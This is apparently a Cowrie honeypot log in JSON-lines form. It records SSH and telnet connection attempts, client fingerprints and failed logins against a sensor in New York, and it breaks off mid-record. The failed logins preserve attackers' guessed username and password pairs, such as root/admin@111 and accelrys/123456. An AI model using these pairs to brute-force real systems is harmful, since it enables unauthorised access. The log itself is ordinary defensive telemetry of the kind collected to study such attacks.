{"eventid":"cowrie.login.failed","username":"accelrys","password":"123","message":"login attempt [accelrys/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:21.891295Z","src_ip":"159.203.92.129","session":"adfa53093017","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:22.899492Z","src_ip":"159.203.92.129","session":"adfa53093017","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":33626,"dst_ip":"159.203.135.109","dst_port":22,"session":"495a2c6ed0e3","protocol":"ssh","message":"New connection: 34.39.58.191:33626 (159.203.135.109:22) [session: 495a2c6ed0e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:30.970974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:30.975224Z","src_ip":"34.39.58.191","session":"495a2c6ed0e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:31.049996Z","src_ip":"34.39.58.191","session":"495a2c6ed0e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@111","message":"login attempt [root/admin@111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:31.381428Z","src_ip":"34.39.58.191","session":"495a2c6ed0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:32.459790Z","src_ip":"34.39.58.191","session":"495a2c6ed0e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00241684913635,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:33.643613Z","src_ip":"89.43.134.59","session":"833bcb14034e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":28103,"dst_ip":"159.203.135.109","dst_port":23,"session":"8015df73580d","protocol":"telnet","message":"New connection: 89.43.134.59:28103 (159.203.135.109:23) [session: 8015df73580d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:35.072365Z"}
{"eventid":"cowrie.session.closed","duration":120.01300549507141,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:47.021346Z","src_ip":"89.43.134.59","session":"59f68c95369c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00357913970947,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:49.885695Z","src_ip":"89.43.134.59","session":"271209559e3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":56820,"dst_ip":"159.203.135.109","dst_port":23,"session":"10c49d301916","protocol":"telnet","message":"New connection: 89.43.134.59:56820 (159.203.135.109:23) [session: 10c49d301916]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:50.640036Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":43248,"dst_ip":"159.203.135.109","dst_port":23,"session":"a57fa131df1b","protocol":"telnet","message":"New connection: 89.43.134.59:43248 (159.203.135.109:23) [session: a57fa131df1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:52.540835Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.134.59","src_port":26782,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fc7410e025d","protocol":"telnet","message":"New connection: 89.43.134.59:26782 (159.203.135.109:23) [session: 9fc7410e025d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:54.083560Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":55342,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fbe264137f0","protocol":"ssh","message":"New connection: 43.160.206.186:55342 (159.203.135.109:22) [session: 2fbe264137f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:54.873555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:54.879026Z","src_ip":"43.160.206.186","session":"2fbe264137f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:55.125015Z","src_ip":"43.160.206.186","session":"2fbe264137f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"r00t","password":"123456","message":"login attempt [r00t/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:56.138565Z","src_ip":"43.160.206.186","session":"2fbe264137f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:28:57.386831Z","src_ip":"43.160.206.186","session":"2fbe264137f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52650,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4da823626b","protocol":"ssh","message":"New connection: 159.203.92.129:52650 (159.203.135.109:22) [session: 5e4da823626b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:04.060756Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:04.197938Z","src_ip":"159.203.92.129","session":"5e4da823626b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:04.202941Z","src_ip":"159.203.92.129","session":"5e4da823626b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accelrys","password":"123456","message":"login attempt [accelrys/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:04.468534Z","src_ip":"159.203.92.129","session":"5e4da823626b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:05.475608Z","src_ip":"159.203.92.129","session":"5e4da823626b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.126.185.65","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"663a47719c59","protocol":"telnet","message":"New connection: 88.126.185.65:54670 (10.17.0.5:23) [session: 663a47719c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:15.329957Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.126.185.65","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"110215e99bbd","protocol":"telnet","message":"New connection: 88.126.185.65:54962 (10.17.0.5:23) [session: 110215e99bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:18.012879Z"}
{"eventid":"cowrie.session.closed","duration":1.4006876945495605,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:19.413423Z","src_ip":"88.126.185.65","session":"110215e99bbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":48216,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b3ccf4ea4b7","protocol":"ssh","message":"New connection: 34.39.58.191:48216 (159.203.135.109:22) [session: 4b3ccf4ea4b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:19.470221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:19.474777Z","src_ip":"34.39.58.191","session":"4b3ccf4ea4b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:19.552459Z","src_ip":"34.39.58.191","session":"4b3ccf4ea4b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felix","message":"login attempt [root/felix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:19.879004Z","src_ip":"34.39.58.191","session":"4b3ccf4ea4b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:20.956617Z","src_ip":"34.39.58.191","session":"4b3ccf4ea4b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.45","src_port":40472,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4136849c31a","protocol":"telnet","message":"New connection: 176.65.139.45:40472 (10.17.0.5:23) [session: a4136849c31a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:22.555798Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:32.981143Z","src_ip":"14.103.123.67","session":"0e35b9bf1289","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47382,"dst_ip":"159.203.135.109","dst_port":22,"session":"52b9eff21abb","protocol":"ssh","message":"New connection: 159.203.92.129:47382 (159.203.135.109:22) [session: 52b9eff21abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:48.238995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:48.255439Z","src_ip":"159.203.92.129","session":"52b9eff21abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:48.259613Z","src_ip":"159.203.92.129","session":"52b9eff21abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"accelrys","password":"accelrys","message":"login attempt [accelrys/accelrys] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:48.336808Z","src_ip":"159.203.92.129","session":"52b9eff21abb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:49.343471Z","src_ip":"159.203.92.129","session":"52b9eff21abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":57480,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba32fec20308","protocol":"ssh","message":"New connection: 43.160.206.186:57480 (159.203.135.109:22) [session: ba32fec20308]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:52.535208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:52.541771Z","src_ip":"43.160.206.186","session":"ba32fec20308","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:52.785899Z","src_ip":"43.160.206.186","session":"ba32fec20308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.244595050811768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:52.800269Z","src_ip":"176.65.139.45","session":"a4136849c31a","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qw!@QW","message":"login attempt [root/12qw!@QW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:53.798428Z","src_ip":"43.160.206.186","session":"ba32fec20308","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:29:55.046530Z","src_ip":"43.160.206.186","session":"ba32fec20308","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.39.58.191","src_port":44802,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb91cc777a62","protocol":"ssh","message":"New connection: 34.39.58.191:44802 (159.203.135.109:22) [session: bb91cc777a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:09.511806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:30:09.516978Z","src_ip":"34.39.58.191","session":"bb91cc777a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","s